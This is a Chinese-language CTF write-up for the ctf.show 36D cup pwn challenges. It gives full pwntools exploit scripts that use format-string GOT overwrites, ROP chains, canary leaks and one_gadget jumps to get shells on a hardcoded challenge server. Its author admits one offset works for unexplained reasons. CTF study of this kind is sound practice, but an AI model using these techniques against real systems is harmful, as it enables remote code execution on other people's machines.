CTFSHOW 36D杯CTF（pwn部分wp）
PWN WP
感谢1p0ch师傅
最近参加了ctf.show举办的一个比赛，做了一下pwn题，以下是我的一些wp，由于本人能力有限，菜的一批，如果有什么不对的地方，请多包含。
PWN_签到
签到题直接nc上去以后发现考察的是linux的基本操作，程序过滤掉了空格，cat，但是我们可以ls查看
morePWN_babyFmtstr
格式化字符串漏洞，我们可以修改got表，这样就有一个无限格式化字符串漏洞的程序了。
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
sh=remote('124.156.121.112',28028)
#sh=process('./pwn2')
elf=ELF('./pwn2')
#context.log_level='debug'
puts_got=elf.got['puts']
printf_got=elf.got['printf']
memset_addr=elf.got['memset']
#0x0400AA0
payload1='%64c%11$hn%2656c%12$hnAA'+p64(memset_addr+2)+p64(memset_addr)
#gdb.attach(sh)
sh.sendline(payload1)
payload2='AAAA%9$s'+p64(puts_got)
sh.recvuntil('please input name:\n')
#gdb.attach(sh)
sh.sendline(payload2)
sh.recvuntil('Hello AAAA')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print ('puts_addr:' +hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
print('system_addr:' +hex(system_addr))
def set_printf_to_system(system):
printf_got_addr=printf_got
x = system & 0xffffffff
a = x & 0xffff
a1 = printf_got_addr
b = (x>>16) & 0xffff
b1=printf_got_addr+2
if(a>b):
tmp=a
a=b
b=tmp
tmp=a1
a1=b1
b1=tmp
s="%"+str(a)+"c"
s+="%12$hn"
s+="%"+str(b-a)+"c"
s+="%13$hn"
for i in range(32-len(s)):
s+='a'
s+=p64(a1)
s+=p64(b1)
return s
payload3=set_printf_to_system(system_addr)
print (str(payload3))
#gdb,attach(sh)
sh.sendline(payload3)
payload4='/bin/sh\x00'
sh.sendline(payload4)
sh.interactive()
PWN_MagicString
程序中没有参数，传入/bin/sh\x00，就可以getshell了
#! /usr/bin/env python
from pwn import *
sh=remote('124.156.121.112',28095)
#sh=process('./pwn3')
elf=ELF('./pwn3')
#context.log_level='debug'
gets_plt=elf.plt['gets']
system_plt=elf.plt['system']
pop_rdi=0x0000000000400733
bss_addr=0x601080
main_addr=0x0000000000400661
payload1='a'*0x2a0+'a'*8+p64(pop_rdi)+p64(bss_addr)+p64(gets_plt)+p64(main_addr)
sh.sendline(payload1)
payload2='/bin/sh\x00'
sh.sendline(payload2)
payload3='a'*0x2a0+'a'*8+p64(pop_rdi)+p64(bss_addr)+p64(system_plt)
sh.sendline(payload3)
#gdb.attach(sh)
sh.interactive()
PWN_MengxinStack
程序开启了canary，pie，首先我们泄露canary，然后覆盖返回地址的最后一个字节，让程序可以重新执行，之后再泄露libc，最后one_gadget就可以getshell了。
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
sh=remote('124.156.121.112',28090)
#sh=process('./pwn4')
elf=ELF('./pwn4')
context.log_level='debug'
payload1='A'*0x29
sh.send(payload1)
sh.recvuntil('A'*0x28)
canary=u64(sh.recv(8))-0x41
print ('canary:' +hex(canary))
ret_addr=0xffffffffff600400
ret=0xffffffffff600409
#0x0000000000000a62
payload2='a'*0x28+p64(canary)+'a'*0x18+'\x04'
#gdb.attach(sh)
sh.send(payload2)
payload3='a'*0x28+'a'*0x8+'a'*0x18
sh.send(payload3)
sh.recvuntil('a'*0x48)
libc_main_addr=u64(sh.recv(6).ljust(8,'\x00'))-240
print ('libc_main_addr:' +hex(libc_main_addr))
libc=LibcSearcher('__libc_start_main',libc_main_addr)
libc_base=libc_main_addr-libc.dump('__libc_start_main')
#0x45216
one_gedget=libc_base+0x45216
payload4='a'*0x28+p64(canary)+'a'*0x18+p64(one_gedget)
sh.send(payload4)
#gdb.attach(sh)
sh.interactive()
PWN_tang
和上一道题利用思路一样。
#! /usr/bin/env python
#coding ='utf-8'
from pwn import *
from LibcSearcher import *
sh=remote('124.156.121.112',28006)
#sh=process('./pwn6')
elf=ELF('./pwn6')
context.log_level='debug'
payload='%9$p'
sh.send(payload)
sh.recvuntil('\x0a')
canary=int(sh.recv(18),16)
print('canary:' +hex(canary))
payload2='a'
sh.sendline(payload2)
payload3='a'*0x38+p64(canary)+'a'*0x18+'\x08'
这里覆盖返回地址最后一个字节的时候有错误，调试了半天也没弄明白，本来应该是\x10的，但是我发现\x08可以重新执行程序，\x10就不可以.哪位大佬如果知道可以指点一下。
#gdb.attach(sh)
sh.send(payload3)
payload4='%7$p'
#gdb.attach(sh)
sh.recvuntil('\x9f\x0a')
sh.send(payload4)
setvbuf_addr=int(sh.recv(14),16)-324
print('setvbuf:' +hex(setvbuf_addr))
libc=LibcSearcher('setvbuf',setvbuf_addr)
libc_base=setvbuf_addr-libc.dump('setvbuf')
sh.sendline(payload2)
#0xf1147
one_gadget=libc_base+0xf1147
payload5='a'*0x38+p64(canary)+'a'*0x18+p64(one_gadget)
sh.send(payload5)
#gdb.attach(sh)
sh.interactive()